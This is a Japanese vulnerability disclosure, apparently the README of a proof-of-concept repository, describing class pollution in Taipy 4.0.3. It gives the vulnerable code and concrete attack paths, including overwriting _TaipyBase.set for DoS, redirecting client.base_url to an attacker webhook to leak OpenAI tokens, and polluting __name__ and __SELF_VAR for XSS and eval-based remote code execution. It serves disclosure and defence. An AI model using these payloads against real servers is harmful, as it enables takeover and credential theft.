Taipy v4.0.3(発見時点の最新版)において、クラスポリューション脆弱性が確認されました。この脆弱性により、未認証の攻撃者が Taipy サーバー側のランタイムコンテキストを上書きでき、RCE、Reflected XSS、サービス運用妨害(DoS)、機密の認証情報(例: OpenAI トークン)の漏えいなどの深刻な被害を引き起こす可能性があります。
背景
クラスポリューション(JavaScript におけるプロトタイプ汚染に類似)は、Python では比較的新しい脆弱性です。攻撃者が実行時にモジュールのグローバル変数や特定のクラス・関数の属性を想定外の方法で上書きできる場合に発生します。この問題は CWE-915 に分類されます。
クラスポリューションの詳細については、以下を参照してください:
[1] Class Pollution Wiki
[2] CWE-915: 動的に決定されるオブジェクト属性の不適切に制御された変更
Taipy で見つかったクラスポリューション脆弱性
この脆弱性の根本原因は、Taipy が状態(states)内の変数値を更新するために再帰的な set 関数を使用している点にあります。name と value の両パラメータはクライアント側の入力に由来し、適切な検証が行われていません。これにより、攻撃者は _TpN_tpec_TpExPr_value_TPMDL_2.__class__.__base__.set のような悪意ある属性パスを注入して、 の メソッドを上書きできます。
_TaipyBaseset以下の関数は、クライアント側から状態を更新するために _manage_message 経由で複数のルートから呼び出されます:
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L37-L42
def _setscopeattr_drill(gui: "Gui", name: str, value: t.Any):
if gui._is_broadcasting():
for scope in gui._get_all_data_scopes().values():
_attrsetter(scope, name, value)
else:
_attrsetter(gui._get_data_scope(), name, value)
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L53-L58
def _attrsetter(obj: object, attr_str: str, value: object) -> None:
var_name_split = attr_str.split(sep=".")
for i in range(len(var_name_split) - 1):
sub_name = var_name_split[i]
obj = getattr(obj, sub_name)
setattr(obj, var_name_split[-1], value)
セットアップ
以下のすべての PoC は、このリポジトリに含まれるデモチャットアプリ(app/ を参照)を対象としています。このアプリは公式の Taipy LLM Chat デモ(https://github.com/Avaiga/demo-llm-chat)をベースにしており、**Taipy 4.0.3**(発見時点のバージョン)に固定されています。Docker でビルドして実行します:
docker build -t taipy-cve-30374 app/
docker run -d -p 5003:5000 taipy-cve-30374 # served at http://127.0.0.1:5003
DoS、XSS、RCE の PoC には有効な OpenAI キーは必要ありません。トークン漏えいの PoC では、実際のキーを指定してアプリを起動し、外部送信されるリクエストにそのキーが含まれるようにします:
docker run -d -p 5003:5000 -e OPENAI_API_KEY=sk-... taipy-cve-30374
その後、リポジトリのルートから対応するスクリプトを実行してください(例: python poc-dos.py)。最初にクライアントの依存関係を pip install "python-socketio[client]" requests でインストールしてください。
影響 1: DoS
完全なエクスプロイトは poc-dos.py にあります。
poc-dos.py は、バインドされたホルダー変数をエントリポイントとして使用し、共有の _TaipyBase クラスの set メソッドを呼び出し不可能な整数で上書きします:
_TpD_tpec_TpExPr_conversation_TPMDL_2.__class__.__base__.set = 71
すべての Taipy バリューホルダー(_TaipyData、_TaipyLov、_TaipyLovValue など)は _TaipyBase から派生しているため、サーバーはあらゆるバインド変数を(再)評価する際に TypeError: 'int' object is not callable を発生させます。これは攻撃者のセッションだけでなくすべてのセッションに影響し、アプリが再起動されるまで継続します。
影響 2: OpenAI トークン漏えい
完全なエクスプロイトは poc-token-exfil.py にあります。
デモアプリは openai.Client をモジュールのグローバル変数(client)として保持し、それが Taipy の状態にバインドされ、state.client.chat.completions.create(...) として使用されます。poc-token-exfil.py は client.base_url を攻撃者が制御する URL で汚染します:
client.base_url = https://webhook.site/<your-uuid>
以降のすべてのチャットリクエストには Authorization: Bearer <OPENAI_API_KEY> ヘッダーと会話全体が含まれるため、それらは攻撃者が制御するサーバーにリダイレクトされ、OpenAI トークンが漏えいします。
影響 3: XSS

以下の関数では、アプリケーションがユーザーコンテンツのレンダリングを試みるときに、適切なレンダラーが見つからない場合、HTML レスポンスとして type(content).__name__ を返すフォールバックが発生します:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L544
return (
'<div style="background:white;color:red;">'
+ (f"No valid provider for type {type(content).__name__}" if content else "Wrong context.")
+ "</div>"
)
ただし、クラスオブジェクトの __name__ 属性はクラスポリューションによって設定可能です(例: tp_TpExPr_gui_get_adapted_lov_past_conversations_NoneType_TPMDL_2_0.__class__.__name__)。攻撃者はこの属性を悪意ある HTML または JavaScript のペイロードで上書きできます。
完全なエクスプロイトは poc-xss-no-dot.py(v4.0.3 で動作)と poc-xss.py(ドット付き "U" バリアント、Taipy ≤ 4.0.2)にあります。
影響 4: RCE

次に、RCE 攻撃に発展させる方法を示します。
クラスポリューション脆弱性により、攻撃者はセッション状態に現れるオブジェクトに任意の属性を設定できます。セッション状態にはデフォルトでは機密性の高いオブジェクトはあまり含まれていません。しかし、Gui.on_action ルートを悪用して Gui.table_on_edit ハンドラを呼び出せることを発見しました。これにより、__main__ モジュールの新しいオブジェクトがセッション状態にバインドされます。次の行では、状態オブジェクトに対する getattr 呼び出しが自動的にバインド操作をトリガーし、その直後の setattr がバインドされた値を即座に None にリセットします:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L1872
setattr(state, var_name, self._get_accessor().on_edit(getattr(state, var_name), payload))
この動作により、Gui クラスなどのオブジェクト参照がセッション状態に一時的に存在する短時間のレースウィンドウが生じます。このウィンドウの間に、攻撃者はクラスポリューションを悪用してそれらのオブジェクトの属性を上書きできます。
さらに、Gui.__SELF_VAR 属性が、Python の組み込み eval() 関数に渡される式を構築する際のプレフィックスとして使用されていることを発見しました:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L146
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L3011
__SELF_VAR = "__gui"
# ...
glob_ctx[Gui.__SELF_VAR] = self
クラスポリューションによって __SELF_VAR の値を上書きすることで、攻撃者は評価される式を制御でき、最終的にサーバー上での任意コード実行につながります。
完全なエクスプロイトは poc-rce-no-dot.py(v4.0.3 で動作)と poc-rce.py(ドット付き "U" バリアント、Taipy ≤ 4.0.2)にあります。どちらも on_action ルートが table_on_edit を呼び出すことで Gui オブジェクトをセッション状態にバインドし、そのクラスポリューションによる書き込みと競合させるため、成功するまでに数回の試行が必要な場合があります。
Taipy のすべてのユーザーがこの脆弱性を悪用して、RCE、Reflected XSS、サービス運用妨害(DoS)、機密の認証情報(例: OpenAI トークン)の漏えいを引き起こす可能性があります。